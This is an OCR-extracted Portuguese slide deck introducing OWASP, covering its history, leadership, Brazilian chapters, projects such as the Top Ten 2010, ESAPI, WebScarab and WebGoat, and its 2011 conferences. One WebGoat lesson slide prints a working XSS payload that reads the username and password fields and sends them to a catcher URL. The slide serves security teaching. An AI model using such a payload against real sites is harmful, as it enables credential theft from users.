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Introducao




OWASP
(Open Web Application Security Project)

* Organizacao internacional que recebe iniciativas de

todo o0 mundo

* Comunidade aberta dedicada a possibilitar a criacao de

aplicagcoes confiaveis

* Todas as ferramentas, documentos, foruns e capitulos

sao livres e abertos a todos interessados
http://www.owasp.org/index.php/About OWASP
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Historia

® Foi inciado em 9 de Setembro de 2001 por Mark Curphey

e Dennis Groves

® Desde 2003, Jeff Williams vem servindo voluntariamente
como Chair do OWASP

e Foi estabelecida em 2004 como uma organizacao sem fins
lucrativos nos EUA (501(c)(3) organization)

e Milhares de membros hoje em dia

e Mais de 80 capitulos locais ativos

e ¢ somente 3 funcionarios

http://en.wikipedia.org/wiki/OWASP




Ecossistema

Voluntarios
e Compartilhamento de conhecimento
e |ideranca de projetos e pessoas
e Apresentacoes em eventos
¢ Administracao
Sustentado por
e Conferéncias
® Anuidades de membros
® Propagandas no site
e Patrocinadores corporativos

http://www.owasp.org/images/0/0d/
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Estrutura




Conselho Diretor

e Jeff Williams - EUA

jeff.williams@owasp.org

e Sebastien Deleersnyder - Bélgica
seba@owasp.org

* Tom Brennan - EUA
tomb@owasp.org

* Eoin Keary - Irlanda
Eoin.Keary@owasp.org

* Dave Wichers - EUA
dave.wichers@owasp.org

e Matt Tesauro - EUA
Matt. Tesauro@owasp.org

http://www.owasp.org/index.php/Contact




Comités Globais

OWASP GLOBAL COMMITTEES
ovégi;ﬂ:%?" Projects Membership Education Conferences Industry Chapters Connections
Committee Chair Jason Li Dan Cornell Martin Knobloch Mark Bristow Joe Bernik Tin Zaw Jim Manico
Members = Brad Causey = Michael Coates » Eduardo Neves » Lucas Ferreira = Lorna Alamri » Andrew vander = Justin Clarke
® Chris Schmidt Tony UcedaVelez = Cecil Su = John Wilander Rex Booth Stock
= Justin Searle Ofer Maor = Fabio Cerullo » Richard Greenberg David Campbell Seba Deleersnyder
» Larry Casey Helen Gao » Kuai Hinjosa = Ralph Durkee Alexander Fry Puneet Mehta
» Sebastien Gioria = Neil Matatall Georg Hess Matthew Chalmers
» Nishi Kumar » Cassio Goldschmidt Colin Watson Mandeep Khera
Mauro Flores L. Gustavo C.
Mateo Martinez Barbato
Applicants  » yeith Turpin Mateo Martinez = Tony Gottlieb = Benjamin (Ben) Jerry Hoff = Jerry Hoff
(pending Aryavalli Gandhi Tomhave Sherif Koussa » Doug Wilson
confirmation) = Mohd Fazli Azran Michael Scovetta
» Zhendong Yu
. New Members with . . More Members
&T{:g'tt; OWA.S"»P Projet.:t More Members E dmztgf\rmfg:vot:d s Men:,t;.rs Btz Qutside U.S. and Mcc;ur;:::n:’b;rs More Members
Leadership Experience Europe

http://www.owasp.org/index.php/Global Committee Pages




Capitulos Locais

e Centenas Capitulos Locais mas somente por volta de 80
estao ativos

e http://www.owasp.org/index.php/Category:Brasil

e PBrasilia

e (Campinas ’
e Goiania %
* Paraiba

e Porto Alegre

i

e Recife

[Cougle

® Sao Paulo
http://www.owasp.org/index.php/Category:OWASP_Chapter




Patrocinadores Corporativos

Organization Supporters of OWASP's mission
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http://www.owasp.org/index.php/Membership




Projetos




Recursos
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e Identificadores de e Ferramentas de
Vulnerabilidades Testes de

« Ferramentas de Penetragao
Analise Estatica e Ferramentas de

e Ferramentas de Revisao de Codigo
Analise Dinamica

Verificacao
Automatizada de

Arquitetura
Segura

Verificacao
Manual de
Seguranca

Seguranca

- Y @« D
« Bibliotecas de e Aplicacoes
Programacao Vulneraveis
Segura e Ambientes de
» Referéncias de aprendizagem
Implementacao e Live CD

¢ Geradores de Site

Segura

Educacdao em
Seguranca de
Aplicacoes

Gerenciamento
de aplicacoes

Codificacao

Segura

http://www.owasp.org/index.php/Category:OWASP_Project




OWASP Top Ten 2010

A2: Cross-Site

Al: Injection Scripting (XSS)

A5: Cross Site

AG6: Security
Request Forgery . - /
(CSRF) Misconfiguration

A9: Insufficient
Transport Layer
Protection

A3: Broken
Authentication
and Session

Management

A7: Failure to
Restrict URL
Access

A10: Unvalidated
Redirects and
Forwards

http://www.owasp.org/index.php/Top 10

AA4: Insecure
Direct Object
References

AS8: Insecure
Cryptographic
Storage



ESAPI

(Enterprise Security API)

Custom Enterprise Web Application

OWASP Enterprise Security API

Authenticator
AccessController
AccessReferenceMap
Validator
HTTPUtilities
Encryptor
EncryptedProperties
Randomizer
Exception Handling
IntrusionDetector
SecurityConfiguration

Your Existing Enterprise Services or Libraries _]

http://www.owasp.org/index.php/ESAPI




OWASP Testing Guide

OWASP TESTING GUIDE

http://www.owasp.org/index.php/OWASP_ Testing Project




WebScarab

B2 webScarab =]
File View Tools Help

" Spider | Extensions | XSSICRLF | SessionID Analysis | Scripted | Fragments | Fuzzer | Compare | Search |

}" Summary i Messages r Proxy Manual Request WebServices |
Method URL Version
|POST | |hltp://localhost.:8080/examples/servlets/servlet/RequestParamExample | |HTTPI1_1 |

Header Value
Accept image/gif, image/x-xbitmap, imagel/jpeg, image/pjpeg, application/x-shockwave-flash, applicationivnd.ms-excel, applicationivnd.ms-powerpoin...| Add
Referer hitp://localhost..8080/examplesi/serviets/serviet/RequestParamExample | =|
IAccept-Language en-za __| Delete
Cantent-Tune annlicatinnfx-waana-form-uirlencaded bhd
Parameters
Location Name Type Value Priority Fuzz Source

Cookie USESSIONID STRING I70327F6701C1F8333002... |0

Body firstname STRING Rogan 0 XSS

Body lastname TRING Dawes 0 XSS Add

Delete
Total Requests :
o Lo Sources Start Stop

Current Request: 64
| 1D Date Method Host Path
|22 2008/11/05 10:58:56 POST hitp://localhost..8080 lfexamples/sernviets/sernvie/RequestParamExample —
21 2008/11/05 10:58:56 POST hitp:/localhost..8080 examples/serviets/sernviet/RequestParamExample =
19 12008/11/05 10:58:56 |POST hitp://localhost.:8080 examples/serviets/serviet/RequestParamExample

120 12008/11/05 10:58:56 |POST hitp://localhost..8080 examples/serviets/serviet/RequestParamExample |
?‘3[ 2008/11/05 10°-58'56 IPOST hito-/lacalhast -8080 examnles/senlets/senvietiReauestParamExamnle I [L
4 »
Started

http://www.owasp.org/index.php/OWASP WebScarab




Favorites Tools Hep
ress &) http://localhost/WebGoat/attack?Screen=21&menu=410

OWASP WebGoat V5.1

Reflected XSS Attacks

Cross Site Request Forgery

Cross Site Tracing (XST)

Restart this Lesson

You need to create the hack() function. This function will pull the credentials from the
webpage and post them to the WebGoat catcher serviet.

Some useful code snippets:

® doucument.forms[0].user.value - will access the user field
® XssImage = new Image(); XssImage.src=SOME_URL = will perform a post
® javascript string concatentation uses a "+"

Solution for this hint():

password<script>function hack(){ alert("Had this been a real attack... Your credentials
were just stolen. User Name = " + document.forms(0).user.value + " Password = " +
document.forms(0).pass.value); XSSImage=new Image;
XSSImage.src="http:/ /localhost./WebGoat /catcher?

PROPERTY =yes&user="+document.forms(0).user.value + "&password=
(0).pass.value + "";} </script>

+ document.forms

This lesson is an example of how a website might support a phishing attack

Below 15 an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:

® Insert html to that requests credentials
® Add javascript to actually collect the credentials
® Post the credentials to http://localhost./WebGoat/catcher?PROPERTY =yes. ..

To pass this lesson, the credentials must be posted to the catcher serviet.

WebGoat Search
&4 Local intranet

http://www.owasp.org/index.php/OWASP WebGoat Project




OWASP Live CD

EA All Applications |

\ ) OWASP Live CD 6 Recon Tools

4
25 Games " () Scanners 4
= Graphics Y & Proxies J
| @/ Internet Y @ Fuzzer & Brute Force 4
& Multimedia ¥ Q) Metasploit Framework 4
é Office ’ ' WebGoat Manager (WebGoat Admin GUI)
Q System ’ 0 Firefox 3 (Nice web browser)
% Utilities ¥ @ CAL9000 (Web App Testing Tools)
{9 Lost & Found ’ Il Documentation (OWASP Live CD Docs)
W Control Center * nmap (Network Mapper)
w Gl Find Files/Folders Z Zenmap (GUI Port Scanner)
@ Personal Files (Home) & Netcat (TCP/IP Swiss Army Knife)
| Actions Ml wireshark (Packet Sniffer)
=) £3 Run Command... @ tcpdump (Packet Capture)

w

E] Switch User — Subversion client (Manage your source code)

E] Lock Session

@Log Out...
http://www.owasp.org/index.php/Category:OWASP Live CD Project




release

release

http://stores.lulu.com/owasp




Manifesto do OWASP Brasil

OWASP

The Open Web Application Security Project

Seguranca na Web: Uma Janela
de Oportunidades

Uma mensagem do OWASP Brasil ao Governo Brasileiro

Margo de 2011

OWASP - Open Web Application Security Project owasp@owasp.org Datpu/feww.owEsP 0rg

https://www.owasp.org/images/1/16/Seguranca na web - uma janela de oportunidades.pdf




OWASP Portuguese Language

Project
Objetivo:
* Produzir e traduzir documentos para a lingua
portuguesa

Status atual:
* Processo de trabalho definido
* Prioridades escolhidas

* Precisa de voluntarios! Alguem?

http://www.owasp.org/index.php/OWASP Portuguese Language Project




Documentos disponiveis em
portuguées

* WebGoat em PT-BR

* OWASP Top Ten 2007
* Introducao ao OWASP
* Apresentacao do Top Ten 2007 (PPT)

* Secure Coding Guide - Quick Reference
Guide

http://www.owasp.org/index.php/Category:Brasil




Conferencias




Global AppSec Europe
(6 a 10 de Junho de 2011)

OWASP APPSEC
EUROPE 2011

June 6th-10th

Dublin, Ireland

http://www.owasp.org/index.php/AppSecEU201 |




Global AppSec North America
(20 a 23 de Setembro de 2011)

USA 2011

SEPT 20-23 MINNEAPOLIS

http://www.appsecusa.org




Global AppSec Asia
(4 a 7 de Novembro de 2011)

http://www.owasp.org/index.php/




GIobaI AppSec Latin America
(4 a 7 de Outubro 2011)

g; AppSec Brasil “11

\ 1st Global Appsec Latin

\(nerlca Conference

Porto Alegre - Rio Grande do Sul

http://www.appseclatam.org




Como Participar?




Como Participar?

* Artigos, Wiki, Capitulos
* Listas de Discussao
* Projetos
® Propor novos, testar os existentes, opinar
* Traducoes
* Apresentacoes
e Membership (50 dolares/ano)

http://www.regonline.com/




Perguntas?




Referéncias

Apresentacoes utilizadas para a criacao desta:

http://www.owasp.org/images/b/b4/OWASP-Intro-2008-pt-br.ppt

https://owasptop10.googlecode.com/files/OWASP Top 10 - 2010%20Presentation.pptx

http://owasp-esapi-java.googlecode.com/files/OWASP%20ESAPI.ppt

http://www.owasp.org/images/7/71/About OWASP ASVS.ppt

https://www.owasp.org/images/8/88/OWASP_EU Summit 2008 WebScarab treasures.ppt

http://www.opensamm.org/downloads/resources/OpenSAMM-1.0.ppt

http://www.owasp.org/images/a/ac/CLASPOverviewPresentation20080807NickCoblentz.ppt

http://www.owasp.org/images/4/46/AppSecEU09 OWASP Live CD-mtesauro.ppt




